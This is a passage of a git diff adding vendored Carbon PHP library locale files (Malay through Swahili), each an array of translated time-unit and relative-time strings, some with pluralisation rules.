b/vendor/nesbot/carbon/src/Carbon/Lang/ms.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count tahun', + 'y' => ':count tahun', + 'month' => ':count bulan', + 'm' => ':count bulan', + 'week' => ':count minggu', + 'w' => ':count minggu', + 'day' => ':count hari', + 'd' => ':count hari', + 'hour' => ':count jam', + 'h' => ':count jam', + 'minute' => ':count minit', + 'min' => ':count minit', + 'second' => ':count saat', + 's' => ':count saat', + 'ago' => ':time yang lalu', + 'from_now' => ':time dari sekarang', + 'after' => ':time selepas', + 'before' => ':time sebelum', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/my.php b/vendor/nesbot/carbon/src/Carbon/Lang/my.php new file mode 100644 index 00000000..e8e491ec --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/my.php @@ -0,0 +1,37 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count နှစ်|:count နှစ်', + 'y' => ':count နှစ်|:count နှစ်', + 'month' => ':count လ|:count လ', + 'm' => ':count လ|:count လ', + 'week' => ':count ပတ်|:count ပတ်', + 'w' => ':count ပတ်|:count ပတ်', + 'day' => ':count ရက်|:count ရက်', + 'd' => ':count ရက်|:count ရက်', + 'hour' => ':count နာရီ|:count နာရီ', + 'h' => ':count နာရီ|:count နာရီ', + 'minute' => ':count မိနစ်|:count မိနစ်', + 'min' => ':count မိနစ်|:count မိနစ်', + 'second' => ':count စက္ကန့်|:count စက္ကန့်', + 's' => ':count စက္ကန့်|:count စက္ကန့်', + 'ago' => 'လွန်ခဲ့သော :time က', + 'from_now' => 'ယခုမှစ၍နောက် :time အကြာ', + 'after' => ':time ကြာပြီးနောက်', + 'before' => ':time မတိုင်ခင်', + 'diff_now' => 'အခုလေးတင်', + 'diff_yesterday' => 'မနေ့က', + 'diff_tomorrow' => 'မနက်ဖြန်', + 'diff_before_yesterday' => 'တမြန်နေ့က', + 'diff_after_tomorrow' => 'တဘက်ခါ', + 'period_recurrences' => ':count ကြိမ်', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/ne.php b/vendor/nesbot/carbon/src/Carbon/Lang/ne.php new file mode 100644 index 00000000..0b528dfa --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/ne.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count वर्ष', + 'y' => ':count वर्ष', + 'month' => ':count महिना', + 'm' => ':count महिना', + 'week' => ':count हप्ता', + 'w' => ':count हप्ता', + 'day' => ':count दिन', + 'd' => ':count दिन', + 'hour' => ':count घण्टा', + 'h' => ':count घण्टा', + 'minute' => ':count मिनेट', + 'min' => ':count मिनेट', + 'second' => ':count सेकेण्ड', + 's' => ':count सेकेण्ड', + 'ago' => ':time पहिले', + 'from_now' => ':time देखि', + 'after' => ':time पछि', + 'before' => ':time अघि', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/nl.php b/vendor/nesbot/carbon/src/Carbon/Lang/nl.php new file mode 100644 index 00000000..ec5a88ed --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/nl.php @@ -0,0 +1,36 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count jaar', + 'y' => ':count jaar', + 'month' => ':count maand|:count maanden', + 'm' => ':count maand|:count maanden', + 'week' => ':count week|:count weken', + 'w' => ':count week|:count weken', + 'day' => ':count dag|:count dagen', + 'd' => ':count dag|:count dagen', + 'hour' => ':count uur', + 'h' => ':count uur', + 'minute' => ':count minuut|:count minuten', + 'min' => ':count minuut|:count minuten', + 'second' => ':count seconde|:count seconden', + 's' => ':count seconde|:count seconden', + 'ago' => ':time geleden', + 'from_now' => 'over :time', + 'after' => ':time later', + 'before' => ':time eerder', + 'diff_now' => 'nu', + 'diff_yesterday' => 'gisteren', + 'diff_tomorrow' => 'morgen', + 'diff_after_tomorrow' => 'overmorgen', + 'diff_before_yesterday' => 'eergisteren', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/no.php b/vendor/nesbot/carbon/src/Carbon/Lang/no.php new file mode 100644 index 00000000..a6ece06a --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/no.php @@ -0,0 +1,36 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count år|:count år', + 'y' => ':count år|:count år', + 'month' => ':count måned|:count måneder', + 'm' => ':count måned|:count måneder', + 'week' => ':count uke|:count uker', + 'w' => ':count uke|:count uker', + 'day' => ':count dag|:count dager', + 'd' => ':count dag|:count dager', + 'hour' => ':count time|:count timer', + 'h' => ':count time|:count timer', + 'minute' => ':count minutt|:count minutter', + 'min' => ':count minutt|:count minutter', + 'second' => ':count sekund|:count sekunder', + 's' => ':count sekund|:count sekunder', + 'ago' => ':time siden', + 'from_now' => 'om :time', + 'after' => ':time etter', + 'before' => ':time før', + 'diff_now' => 'akkurat nå', + 'diff_yesterday' => 'i går', + 'diff_tomorrow' => 'i morgen', + 'diff_before_yesterday' => 'i forgårs', + 'diff_after_tomorrow' => 'i overmorgen', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/oc.php b/vendor/nesbot/carbon/src/Carbon/Lang/oc.php new file mode 100644 index 00000000..e89e94c3 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/oc.php @@ -0,0 +1,44 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +\Symfony\Component\Translation\PluralizationRules::set(function ($number) { + return $number == 1 ? 0 : 1; +}, 'oc'); + +return array( + 'year' => ':count an|:count ans', + 'y' => ':count an|:count ans', + 'month' => ':count mes|:count meses', + 'm' => ':count mes|:count meses', + 'week' => ':count setmana|:count setmanas', + 'w' => ':count setmana|:count setmanas', + 'day' => ':count jorn|:count jorns', + 'd' => ':count jorn|:count jorns', + 'hour' => ':count ora|:count oras', + 'h' => ':count ora|:count oras', + 'minute' => ':count minuta|:count minutas', + 'min' => ':count minuta|:count minutas', + 'second' => ':count segonda|:count segondas', + 's' => ':count segonda|:count segondas', + 'ago' => 'fa :time', + 'from_now' => 'dins :time', + 'after' => ':time aprèp', + 'before' => ':time abans', + 'diff_now' => 'ara meteis', + 'diff_yesterday' => 'ièr', + 'diff_tomorrow' => 'deman', + 'diff_before_yesterday' => 'ièr delà', + 'diff_after_tomorrow' => 'deman passat', + 'period_recurrences' => ':count còp|:count còps', + 'period_interval' => 'cada :interval', + 'period_start_date' => 'de :date', + 'period_end_date' => 'fins a :date', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/pl.php b/vendor/nesbot/carbon/src/Carbon/Lang/pl.php new file mode 100644 index 00000000..2308af2d --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/pl.php @@ -0,0 +1,36 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count rok|:count lata|:count lat', + 'y' => ':countr|:countl', + 'month' => ':count miesiąc|:count miesiące|:count miesięcy', + 'm' => ':countmies', + 'week' => ':count tydzień|:count tygodnie|:count tygodni', + 'w' => ':counttyg', + 'day' => ':count dzień|:count dni|:count dni', + 'd' => ':countd', + 'hour' => ':count godzina|:count godziny|:count godzin', + 'h' => ':countg', + 'minute' => ':count minuta|:count minuty|:count minut', + 'min' => ':countm', + 'second' => ':count sekunda|:count sekundy|:count sekund', + 's' => ':counts', + 'ago' => ':time temu', + 'from_now' => ':time od teraz', + 'after' => ':time po', + 'before' => ':time przed', + 'diff_now' => 'przed chwilą', + 'diff_yesterday' => 'wczoraj', + 'diff_tomorrow' => 'jutro', + 'diff_before_yesterday' => 'przedwczoraj', + 'diff_after_tomorrow' => 'pojutrze', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/ps.php b/vendor/nesbot/carbon/src/Carbon/Lang/ps.php new file mode 100644 index 00000000..15c3296e --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/ps.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count کال|:count کاله', + 'y' => ':countکال|:countکاله', + 'month' => ':count مياشت|:count مياشتي', + 'm' => ':countمياشت|:countمياشتي', + 'week' => ':count اونۍ|:count اونۍ', + 'w' => ':countاونۍ|:countاونۍ', + 'day' => ':count ورځ|:count ورځي', + 'd' => ':countورځ|:countورځي', + 'hour' => ':count ساعت|:count ساعته', + 'h' => ':countساعت|:countساعته', + 'minute' => ':count دقيقه|:count دقيقې', + 'min' => ':countدقيقه|:countدقيقې', + 'second' => ':count ثانيه|:count ثانيې', + 's' => ':countثانيه|:countثانيې', + 'ago' => ':time دمخه', + 'from_now' => ':time له اوس څخه', + 'after' => ':time وروسته', + 'before' => ':time دمخه', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/pt.php b/vendor/nesbot/carbon/src/Carbon/Lang/pt.php new file mode 100644 index 00000000..392b1215 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/pt.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count ano|:count anos', + 'y' => ':count ano|:count anos', + 'month' => ':count mês|:count meses', + 'm' => ':count mês|:count meses', + 'week' => ':count semana|:count semanas', + 'w' => ':count semana|:count semanas', + 'day' => ':count dia|:count dias', + 'd' => ':count dia|:count dias', + 'hour' => ':count hora|:count horas', + 'h' => ':count hora|:count horas', + 'minute' => ':count minuto|:count minutos', + 'min' => ':count minuto|:count minutos', + 'second' => ':count segundo|:count segundos', + 's' => ':count segundo|:count segundos', + 'ago' => ':time atrás', + 'from_now' => 'em :time', + 'after' => ':time depois', + 'before' => ':time antes', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/pt_BR.php b/vendor/nesbot/carbon/src/Carbon/Lang/pt_BR.php new file mode 100644 index 00000000..1f84eac5 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/pt_BR.php @@ -0,0 +1,40 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count ano|:count anos', + 'y' => ':counta|:counta', + 'month' => ':count mês|:count meses', + 'm' => ':countm|:countm', + 'week' => ':count semana|:count semanas', + 'w' => ':countsem|:countsem', + 'day' => ':count dia|:count dias', + 'd' => ':countd|:countd', + 'hour' => ':count hora|:count horas', + 'h' => ':counth|:counth', + 'minute' => ':count minuto|:count minutos', + 'min' => ':countmin|:countmin', + 'second' => ':count segundo|:count segundos', + 's' => ':counts|:counts', + 'ago' => 'há :time', + 'from_now' => 'em :time', + 'after' => 'após :time', + 'before' => ':time atrás', + 'diff_now' => 'agora', + 'diff_yesterday' => 'ontem', + 'diff_tomorrow' => 'amanhã', + 'diff_before_yesterday' => 'anteontem', + 'diff_after_tomorrow' => 'depois de amanhã', + 'period_recurrences' => 'uma|:count vez', + 'period_interval' => 'toda :interval', + 'period_start_date' => 'de :date', + 'period_end_date' => 'até :date', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/ro.php b/vendor/nesbot/carbon/src/Carbon/Lang/ro.php new file mode 100644 index 00000000..cc167240 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/ro.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => 'un an|:count ani|:count ani', + 'y' => 'un an|:count ani|:count ani', + 'month' => 'o lună|:count luni|:count luni', + 'm' => 'o lună|:count luni|:count luni', + 'week' => 'o săptămână|:count săptămâni|:count săptămâni', + 'w' => 'o săptămână|:count săptămâni|:count săptămâni', + 'day' => 'o zi|:count zile|:count zile', + 'd' => 'o zi|:count zile|:count zile', + 'hour' => 'o oră|:count ore|:count ore', + 'h' => 'o oră|:count ore|:count ore', + 'minute' => 'un minut|:count minute|:count minute', + 'min' => 'un minut|:count minute|:count minute', + 'second' => 'o secundă|:count secunde|:count secunde', + 's' => 'o secundă|:count secunde|:count secunde', + 'ago' => 'acum :time', + 'from_now' => ':time de acum', + 'after' => 'peste :time', + 'before' => 'acum :time', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/ru.php b/vendor/nesbot/carbon/src/Carbon/Lang/ru.php new file mode 100644 index 00000000..6a83fb13 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/ru.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count год|:count года|:count лет', + 'y' => ':count г|:count г|:count л', + 'month' => ':count месяц|:count месяца|:count месяцев', + 'm' => ':count м|:count м|:count м', + 'week' => ':count неделю|:count недели|:count недель', + 'w' => ':count н|:count н|:count н', + 'day' => ':count день|:count дня|:count дней', + 'd' => ':count д|:count д|:count д', + 'hour' => ':count час|:count часа|:count часов', + 'h' => ':count ч|:count ч|:count ч', + 'minute' => ':count минуту|:count минуты|:count минут', + 'min' => ':count мин|:count мин|:count мин', + 'second' => ':count секунду|:count секунды|:count секунд', + 's' => ':count с|:count с|:count с', + 'ago' => ':time назад', + 'from_now' => 'через :time', + 'after' => ':time после', + 'before' => ':time до', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/sh.php b/vendor/nesbot/carbon/src/Carbon/Lang/sh.php new file mode 100644 index 00000000..57f287a7 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/sh.php @@ -0,0 +1,35 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +\Symfony\Component\Translation\PluralizationRules::set(function ($number) { + return ((1 == $number % 10) && (11 != $number % 100)) ? 0 : ((($number % 10 >= 2) && ($number % 10 <= 4) && (($number % 100 < 10) || ($number % 100 >= 20))) ? 1 : 2); +}, 'sh'); + +return array( + 'year' => ':count godina|:count godine|:count godina', + 'y' => ':count godina|:count godine|:count godina', + 'month' => ':count mesec|:count meseca|:count meseci', + 'm' => ':count mesec|:count meseca|:count meseci', + 'week' => ':count nedelja|:count nedelje|:count nedelja', + 'w' => ':count nedelja|:count nedelje|:count nedelja', + 'day' => ':count dan|:count dana|:count dana', + 'd' => ':count dan|:count dana|:count dana', + 'hour' => ':count čas|:count časa|:count časova', + 'h' => ':count čas|:count časa|:count časova', + 'minute' => ':count minut|:count minuta|:count minuta', + 'min' => ':count minut|:count minuta|:count minuta', + 'second' => ':count sekund|:count sekunda|:count sekundi', + 's' => ':count sekund|:count sekunda|:count sekundi', + 'ago' => 'pre :time', + 'from_now' => 'za :time', + 'after' => 'nakon :time', + 'before' => ':time raniјe', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/sk.php b/vendor/nesbot/carbon/src/Carbon/Lang/sk.php new file mode 100644 index 00000000..61013448 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/sk.php @@ -0,0 +1,38 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => 'rok|:count roky|:count rokov', + 'y' => 'rok|:count roky|:count rokov', + 'month' => 'mesiac|:count mesiace|:count mesiacov', + 'm' => 'mesiac|:count mesiace|:count mesiacov', + 'week' => 'týždeň|:count týždne|:count týždňov', + 'w' => 'týždeň|:count týždne|:count týždňov', + 'day' => 'deň|:count dni|:count dní', + 'd' => 'deň|:count dni|:count dní', + 'hour' => 'hodinu|:count hodiny|:count hodín', + 'h' => 'hodinu|:count hodiny|:count hodín', + 'minute' => 'minútu|:count minúty|:count minút', + 'min' => 'minútu|:count minúty|:count minút', + 'second' => 'sekundu|:count sekundy|:count sekúnd', + 's' => 'sekundu|:count sekundy|:count sekúnd', + 'ago' => 'pred :time', + 'from_now' => 'za :time', + 'after' => 'o :time neskôr', + 'before' => ':time predtým', + 'year_ago' => 'rokom|:count rokmi|:count rokmi', + 'month_ago' => 'mesiacom|:count mesiacmi|:count mesiacmi', + 'week_ago' => 'týždňom|:count týždňami|:count týždňami', + 'day_ago' => 'dňom|:count dňami|:count dňami', + 'hour_ago' => 'hodinou|:count hodinami|:count hodinami', + 'minute_ago' => 'minútou|:count minútami|:count minútami', + 'second_ago' => 'sekundou|:count sekundami|:count sekundami', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/sl.php b/vendor/nesbot/carbon/src/Carbon/Lang/sl.php new file mode 100644 index 00000000..06686d13 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/sl.php @@ -0,0 +1,43 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count leto|:count leti|:count leta|:count let', + 'y' => ':count leto|:count leti|:count leta|:count let', + 'month' => ':count mesec|:count meseca|:count mesece|:count mesecev', + 'm' => ':count mesec|:count meseca|:count mesece|:count mesecev', + 'week' => ':count teden|:count tedna|:count tedne|:count tednov', + 'w' => ':count teden|:count tedna|:count tedne|:count tednov', + 'day' => ':count dan|:count dni|:count dni|:count dni', + 'd' => ':count dan|:count dni|:count dni|:count dni', + 'hour' => ':count uro|:count uri|:count ure|:count ur', + 'h' => ':count uro|:count uri|:count ure|:count ur', + 'minute' => ':count minuto|:count minuti|:count minute|:count minut', + 'min' => ':count minuto|:count minuti|:count minute|:count minut', + 'second' => ':count sekundo|:count sekundi|:count sekunde|:count sekund', + 's' => ':count sekundo|:count sekundi|:count sekunde|:count sekund', + 'year_ago' => ':count letom|:count leti|:count leti|:count leti', + 'month_ago' => ':count mesecem|:count meseci|:count meseci|:count meseci', + 'week_ago' => ':count tednom|:count tednoma|:count tedni|:count tedni', + 'day_ago' => ':count dnem|:count dnevoma|:count dnevi|:count dnevi', + 'hour_ago' => ':count uro|:count urama|:count urami|:count urami', + 'minute_ago' => ':count minuto|:count minutama|:count minutami|:count minutami', + 'second_ago' => ':count sekundo|:count sekundama|:count sekundami|:count sekundami', + 'ago' => 'pred :time', + 'from_now' => 'čez :time', + 'after' => 'čez :time', + 'before' => 'pred :time', + 'diff_now' => 'ravnokar', + 'diff_yesterday' => 'včeraj', + 'diff_tomorrow' => 'jutri', + 'diff_before_yesterday' => 'predvčerajšnjim', + 'diff_after_tomorrow' => 'pojutrišnjem', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/sq.php b/vendor/nesbot/carbon/src/Carbon/Lang/sq.php new file mode 100644 index 00000000..6e138a04 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/sq.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count vit|:count vjet', + 'y' => ':count vit|:count vjet', + 'month' => ':count muaj|:count muaj', + 'm' => ':count muaj|:count muaj', + 'week' => ':count javë|:count javë', + 'w' => ':count javë|:count javë', + 'day' => ':count ditë|:count ditë', + 'd' => ':count ditë|:count ditë', + 'hour' => ':count orë|:count orë', + 'h' => ':count orë|:count orë', + 'minute' => ':count minutë|:count minuta', + 'min' => ':count minutë|:count minuta', + 'second' => ':count sekondë|:count sekonda', + 's' => ':count sekondë|:count sekonda', + 'ago' => ':time më parë', + 'from_now' => ':time nga tani', + 'after' => ':time pas', + 'before' => ':time para', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/sr.php b/vendor/nesbot/carbon/src/Carbon/Lang/sr.php new file mode 100644 index 00000000..5a106421 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/sr.php @@ -0,0 +1,37 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count godina|:count godine|:count godina', + 'y' => ':count godina|:count godine|:count godina', + 'month' => ':count mesec|:count meseca|:count meseci', + 'm' => ':count mesec|:count meseca|:count meseci', + 'week' => ':count nedelja|:count nedelje|:count nedelja', + 'w' => ':count nedelja|:count nedelje|:count nedelja', + 'day' => ':count dan|:count dana|:count dana', + 'd' => ':count dan|:count dana|:count dana', + 'hour' => ':count sat|:count sata|:count sati', + 'h' => ':count sat|:count sata|:count sati', + 'minute' => ':count minut|:count minuta |:count minuta', + 'min' => ':count minut|:count minuta |:count minuta', + 'second' => ':count sekund|:count sekunde|:count sekunde', + 's' => ':count sekund|:count sekunde|:count sekunde', + 'ago' => 'pre :time', + 'from_now' => ':time od sada', + 'after' => 'nakon :time', + 'before' => 'pre :time', + + 'year_from_now' => '{1,21,31,41,51} :count godinu|{2,3,4,22,23,24,32,33,34,42,43,44,52,53,54} :count godine|[5,Inf[ :count godina', + 'year_ago' => '{1,21,31,41,51} :count godinu|{2,3,4,22,23,24,32,33,34,42,43,44,52,53,54} :count godine|[5,Inf[ :count godina', + + 'week_from_now' => '{1} :count nedelju|{2,3,4} :count nedelje|[5,Inf[ :count nedelja', + 'week_ago' => '{1} :count nedelju|{2,3,4} :count nedelje|[5,Inf[ :count nedelja', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/sr_Cyrl.php b/vendor/nesbot/carbon/src/Carbon/Lang/sr_Cyrl.php new file mode 100644 index 00000000..2db83edd --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/sr_Cyrl.php @@ -0,0 +1,43 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => '{2,3,4,22,23,24,32,33,34,42,43,44,52,53,54}:count године|[0,Inf[ :count година', + 'y' => ':count г.', + 'month' => '{1} :count месец|{2,3,4}:count месеца|[5,Inf[ :count месеци', + 'm' => ':count м.', + 'week' => '{1} :count недеља|{2,3,4}:count недеље|[5,Inf[ :count недеља', + 'w' => ':count нед.', + 'day' => '{1,21,31} :count дан|[2,Inf[ :count дана', + 'd' => ':count д.', + 'hour' => '{1,21} :count сат|{2,3,4,22,23,24}:count сата|[5,Inf[ :count сати', + 'h' => ':count ч.', + 'minute' => '{1,21,31,41,51} :count минут|[2,Inf[ :count минута', + 'min' => ':count мин.', + 'second' => '{1,21,31,41,51} :count секунд|{2,3,4,22,23,24,32,33,34,42,43,44,52,53,54}:count секунде|[5,Inf[:count секунди', + 's' => ':count сек.', + 'ago' => 'пре :time', + 'from_now' => 'за :time', + 'after' => ':time након', + 'before' => ':time пре', + + 'year_from_now' => '{1,21,31,41,51} :count годину|{2,3,4,22,23,24,32,33,34,42,43,44,52,53,54} :count године|[5,Inf[ :count година', + 'year_ago' => '{1,21,31,41,51} :count годину|{2,3,4,22,23,24,32,33,34,42,43,44,52,53,54} :count године|[5,Inf[ :count година', + + 'week_from_now' => '{1} :count недељу|{2,3,4} :count недеље|[5,Inf[ :count недеља', + 'week_ago' => '{1} :count недељу|{2,3,4} :count недеље|[5,Inf[ :count недеља', + + 'diff_now' => 'управо сада', + 'diff_yesterday' => 'јуче', + 'diff_tomorrow' => 'сутра', + 'diff_before_yesterday' => 'прекјуче', + 'diff_after_tomorrow' => 'прекосутра', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/sr_Cyrl_ME.php b/vendor/nesbot/carbon/src/Carbon/Lang/sr_Cyrl_ME.php new file mode 100644 index 00000000..18214c44 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/sr_Cyrl_ME.php @@ -0,0 +1,43 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => '{2,3,4,22,23,24,32,33,34,42,43,44,52,53,54}:count године|[0,Inf[ :count година', + 'y' => ':count г.', + 'month' => '{1} :count мјесец|{2,3,4}:count мјесеца|[5,Inf[ :count мјесеци', + 'm' => ':count мј.', + 'week' => '{1} :count недјеља|{2,3,4}:count недјеље|[5,Inf[ :count недјеља', + 'w' => ':count нед.', + 'day' => '{1,21,31} :count дан|[2,Inf[ :count дана', + 'd' => ':count д.', + 'hour' => '{1,21} :count сат|{2,3,4,22,23,24}:count сата|[5,Inf[ :count сати', + 'h' => ':count ч.', + 'minute' => '{1,21,31,41,51} :count минут|[2,Inf[ :count минута', + 'min' => ':count мин.', + 'second' => '{1,21,31,41,51} :count секунд|{2,3,4,22,23,24,32,33,34,42,43,44,52,53,54}:count секунде|[5,Inf[:count секунди', + 's' => ':count сек.', + 'ago' => 'прије :time', + 'from_now' => 'за :time', + 'after' => ':time након', + 'before' => ':time прије', + + 'year_from_now' => '{1,21,31,41,51} :count годину|{2,3,4,22,23,24,32,33,34,42,43,44,52,53,54} :count године|[5,Inf[ :count година', + 'year_ago' => '{1,21,31,41,51} :count годину|{2,3,4,22,23,24,32,33,34,42,43,44,52,53,54} :count године|[5,Inf[ :count година', + + 'week_from_now' => '{1} :count недјељу|{2,3,4} :count недјеље|[5,Inf[ :count недјеља', + 'week_ago' => '{1} :count недјељу|{2,3,4} :count недјеље|[5,Inf[ :count недјеља', + + 'diff_now' => 'управо сада', + 'diff_yesterday' => 'јуче', + 'diff_tomorrow' => 'сутра', + 'diff_before_yesterday' => 'прекјуче', + 'diff_after_tomorrow' => 'прекосјутра', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/sr_Latn_ME.php b/vendor/nesbot/carbon/src/Carbon/Lang/sr_Latn_ME.php new file mode 100644 index 00000000..2d2e2881 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/sr_Latn_ME.php @@ -0,0 +1,43 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => '{2,3,4,22,23,24,32,33,34,42,43,44,52,53,54}:count godine|[0,Inf[ :count godina', + 'y' => ':count g.', + 'month' => '{1} :count mjesec|{2,3,4}:count mjeseca|[5,Inf[ :count mjeseci', + 'm' => ':count mj.', + 'week' => '{1} :count nedjelja|{2,3,4}:count nedjelje|[5,Inf[ :count nedjelja', + 'w' => ':count ned.', + 'day' => '{1,21,31} :count dan|[2,Inf[ :count dana', + 'd' => ':count d.', + 'hour' => '{1,21} :count sat|{2,3,4,22,23,24}:count sata|[5,Inf[ :count sati', + 'h' => ':count č.', + 'minute' => '{1,21,31,41,51} :count minut|[2,Inf[ :count minuta', + 'min' => ':count min.', + 'second' => '{1,21,31,41,51} :count sekund|{2,3,4,22,23,24,32,33,34,42,43,44,52,53,54}:count sekunde|[5,Inf[:count sekundi', + 's' => ':count sek.', + 'ago' => 'prije :time', + 'from_now' => 'za :time', + 'after' => ':time nakon', + 'before' => ':time prije', + + 'year_from_now' => '{1,21,31,41,51} :count godinu|{2,3,4,22,23,24,32,33,34,42,43,44,52,53,54} :count godine|[5,Inf[ :count godina', + 'year_ago' => '{1,21,31,41,51} :count godinu|{2,3,4,22,23,24,32,33,34,42,43,44,52,53,54} :count godine|[5,Inf[ :count godina', + + 'week_from_now' => '{1} :count nedjelju|{2,3,4} :count nedjelje|[5,Inf[ :count nedjelja', + 'week_ago' => '{1} :count nedjelju|{2,3,4} :count nedjelje|[5,Inf[ :count nedjelja', + + 'diff_now' => 'upravo sada', + 'diff_yesterday' => 'juče', + 'diff_tomorrow' => 'sutra', + 'diff_before_yesterday' => 'prekjuče', + 'diff_after_tomorrow' => 'preksutra', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/sr_ME.php b/vendor/nesbot/carbon/src/Carbon/Lang/sr_ME.php new file mode 100644 index 00000000..7ebf6f04 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/sr_ME.php @@ -0,0 +1,12 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return require __DIR__.'/sr_Latn_ME.php'; diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/sv.php b/vendor/nesbot/carbon/src/Carbon/Lang/sv.php new file mode 100644 index 00000000..89a03b43 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/sv.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count år|:count år', + 'y' => ':count år|:count år', + 'month' => ':count månad|:count månader', + 'm' => ':count månad|:count månader', + 'week' => ':count vecka|:count veckor', + 'w' => ':count vecka|:count veckor', + 'day' => ':count dag|:count dagar', + 'd' => ':count dag|:count dagar', + 'hour' => ':count timme|:count timmar', + 'h' => ':count timme|:count timmar', + 'minute' => ':count minut|:count minuter', + 'min' => ':count minut|:count minuter', + 'second' => ':count sekund|:count sekunder', + 's' => ':count sekund|:count sekunder', + 'ago' => ':time sedan', + 'from_now' => 'om :time', + 'after' => ':time efter', + 'before' => ':time före', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/sw.php b/vendor/nesbot/carbon/src/Carbon/Lang/sw.php new file mode 100644 index 00000000..52f03429 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/sw.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => 'mwaka 1|miaka :count', + 'y' => 'mwaka 1|miaka :count', + 'month' => 'mwezi 1|miezi :count', + 'm' => 'mwezi 1|miezi :count', + 'week' => 'wiki 1|wiki :count', + 'w' => 'wiki 1|wiki :count', + 'day' => 'siku 1|siku :count', + 'd' => 'siku 1|siku :count', + 'hour' => 'saa 1|masaa :count', + 'h' => 'saa 1|masaa :count', + 'minute' => 'dakika 1|dakika :count', + 'min' => 'dakika 1|dakika :count', + 'second' => 'sekunde 1|sekunde :count', + 's' => 'sekunde 1|sekunde :count', + 'ago' => ':time ziliyopita', + 'from_now' => ':time kwanzia sasa', + 'after' => ':time baada', + 'before' => ':time kabla', +); diff --git 